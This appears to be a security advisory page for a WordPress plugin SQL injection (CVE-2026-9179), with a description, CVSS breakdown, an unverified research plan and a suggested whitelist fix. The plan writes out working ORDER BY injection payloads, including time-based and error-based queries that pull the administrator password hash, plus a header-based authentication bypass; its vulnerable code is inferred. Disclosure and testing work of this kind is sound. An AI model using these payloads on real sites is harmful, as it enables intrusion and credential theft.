CVE-2026-9179

WP Forms Connector <= 1.8 - Unauthenticated SQL Injection via 'order' Parameter

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The WP Forms Connector plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter of the /wp-json/wp/v3/post/list REST endpoint in versions up to and including 1.8. This is due to insufficient escaping on the user-supplied 'order' parameter (read directly from $_GET['order'] into $shorting) and the lack of sufficient preparation on the existing SQL query in the listPost() function, where the value is concatenated unquoted into the ORDER BY clause and executed via $wpdb->get_results() without $wpdb->prepare(). The endpoint is registered with permission_callback '__return_true' and performs only a broken header-based check that validates the supplied 'Username' corresponds to an administrator account while never verifying the 'Password'. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.8
PublishedJune 23, 2026
Last updatedJune 24, 2026
Affected pluginwp-forms-connector
Research Plan
Unverified

This research plan outlines the technical analysis and proof-of-concept (PoC) exploitation for **CVE-2026-9179**, an unauthenticated SQL injection vulnerability in the **WP Forms Connector** plugin. --- ### 1. Vulnerability Summary The **WP Forms Connector** plugin (<= 1.8) suffers from an unauthe…

Show full research plan

This research plan outlines the technical analysis and proof-of-concept (PoC) exploitation for CVE-2026-9179, an unauthenticated SQL injection vulnerability in the WP Forms Connector plugin.


1. Vulnerability Summary

The WP Forms Connector plugin (<= 1.8) suffers from an unauthenticated SQL injection vulnerability. The issue exists in the listPost() function, which handles requests to the /wp-json/wp/v3/post/list REST API endpoint. The plugin reads the order parameter directly from $_GET['order'] and concatenates it into the ORDER BY clause of a SQL query without sanitization or using $wpdb->prepare(). Furthermore, the endpoint's authentication mechanism is critically flawed: it validates that a provided Username header corresponds to an administrator but fails to verify the password, allowing any user to masquerade as an administrator.

2. Attack Vector Analysis

  • Endpoint: GET /wp-json/wp/v3/post/list
  • Vulnerable Parameter: order (Query string)
  • Authentication: Unauthenticated (Broken logic).
  • Required Headers: Username: [ADMIN_USERNAME] (The attacker must provide the login name of an existing administrator, typically admin).
  • Mechanism: SQL Injection in the ORDER BY clause. Since ORDER BY cannot be parameterized using standard %s or %d placeholders in $wpdb->prepare(), it must be strictly whitelisted. This plugin fails to do so.

3. Code Flow (Inferred from Description)

  1. Route Registration: The plugin registers a REST route using register_rest_route('wp/v3', '/post/list', ...) during the rest_api_init hook.
  2. Permission Check: The permission_callback is set to __return_true, meaning the REST API itself does not block access.
  3. Broken Auth Logic: Inside the handler (or a middleware function), the code checks get_headers(). It identifies the Username header and looks up the user via get_user_by('login', $header_username). If the user exists and has the administrator role, the code proceeds. It fails to call wp_authenticate() or verify the password.
  4. Data Processing: The listPost() function is called.
  5. Sink:
    $shorting = $_GET['order']; // Directly from superglobal
    // ...
    $query = "SELECT * FROM {$wpdb->posts} WHERE post_type = 'post' ORDER BY " . $shorting;
    $results = $wpdb->get_results($query);
    

4. Nonce Acquisition Strategy

According to the vulnerability description, the endpoint uses a custom header-based authentication (Username) and the REST API permission_callback is __return_true.

  • Standard REST Nonce: While standard WordPress REST API calls often require an X-WP-Nonce, this specific plugin's custom (and broken) authentication logic likely bypasses the need for one, as it relies on the Username header.
  • Strategy:
    1. First, attempt the exploit without a nonce, providing only the Username header.
    2. If the server returns a 403 or -1, search the homepage source for localized scripts.
    3. Create a page with a WP Forms Connector shortcode (if applicable): wp post create --post_type=page --post_status=publish --post_content='[wp_forms_connector_list]' (Shortcode name is inferred).
    4. Extract potential nonces using: browser_eval("window.wpfc_settings?.nonce") (Variable names are inferred).

5. Exploitation Strategy

The goal is to extract the administrator's password hash using a time-based blind SQL injection in the ORDER BY clause.

Step 1: Identify Admin Username
The attack requires an existing admin username. We will assume admin or use WP-CLI to find the real one.

Step 2: Confirm SQL Injection (Time-Based)
We will use IF and SLEEP() to confirm the vulnerability.

  • Request Type: GET
  • URL: /wp-json/wp/v3/post/list?order=(SELECT(1)FROM(SELECT(SLEEP(5)))a)
  • Headers: Username: admin (Replace with identified admin)

Step 3: Extract Data (Boolean-Based/Time-Based)
Since ORDER BY injection often influences the sequence of returned objects, we can use boolean-based logic if results are visible, or time-based if not.

  • Payload (Time-based):
    order=(CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login='admin'),1,1))=36) THEN ID ELSE (SELECT 1 FROM (SELECT SLEEP(5))x) END)
    (Note: ASCII 36 is '$', the start of many WordPress hashes).

6. Test Data Setup

  1. Create Admin User: Ensure a user with username admin exists.
  2. Populate Content: Ensure at least 2-3 posts exist so that the ORDER BY clause has data to operate on.
    wp post generate --count=3
    

7. Expected Results

  • Confirmation: The request with SLEEP(5) should take approximately 5 seconds longer than a standard request.
  • Extraction: By iterating through ASCII values, the agent will reconstruct the $P$... or $wp$2y$... hash from the wp_users table.

8. Verification Steps

After the HTTP exploitation, verify the extracted data using WP-CLI inside the environment:

  1. Check DB State: wp db query "SELECT user_login, user_pass FROM wp_users WHERE user_login='admin'"
  2. Compare: Verify the hash retrieved via SQLi matches the hash stored in the database.

9. Alternative Approaches

  • Error-Based SQLi: If the site has WP_DEBUG enabled, try inducing a database error to extract data faster.
    • Payload: order=(SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
  • Column-Based Sorting (Boolean): If the API returns a list of posts, use two different order values:
    • order=IF(1=1,ID,post_title) vs order=IF(1=2,ID,post_title)
    • Compare the JSON response bodies. If the order of post IDs changes based on the condition, boolean-based extraction is possible and much faster than time-based.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Forms Connector plugin (<= 1.8) is vulnerable to unauthenticated SQL injection via the 'order' parameter in the /wp-json/wp/v3/post/list REST endpoint. Due to a flawed custom authentication check that only validates the existence of an administrator username via a 'Username' header without verifying a password, attackers can inject arbitrary SQL into the ORDER BY clause.

Vulnerable Code

// Inferred from research plan code flow
$shorting = $_GET['order']; // Directly from superglobal
// ...
$query = "SELECT * FROM {$wpdb->posts} WHERE post_type = 'post' ORDER BY " . $shorting;
$results = $wpdb->get_results($query);

Security Fix

--- a/wp-forms-connector.php
+++ b/wp-forms-connector.php
@@ -10,4 +10,6 @@
-    $shorting = $_GET['order'];
-    $query = "SELECT * FROM {$wpdb->posts} WHERE post_type = 'post' ORDER BY " . $shorting;
+    $allowed_orders = ['ID', 'post_date', 'post_title', 'post_modified'];
+    $shorting = (isset($_GET['order']) && in_array($_GET['order'], $allowed_orders)) ? $_GET['order'] : 'ID';
+    $query = "SELECT * FROM {$wpdb->posts} WHERE post_type = 'post' ORDER BY $shorting";
     $results = $wpdb->get_results($query);

Exploit Outline

The exploit targets the /wp-json/wp/v3/post/list REST endpoint. To bypass authentication, the attacker includes a 'Username' header containing a known administrator's login name (e.g., 'admin'). The SQL injection is performed by passing a malicious payload to the 'order' query parameter. This allows for time-based blind injection using SLEEP() or boolean-based injection by observing differences in the response content, enabling the extraction of sensitive database information such as user password hashes.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.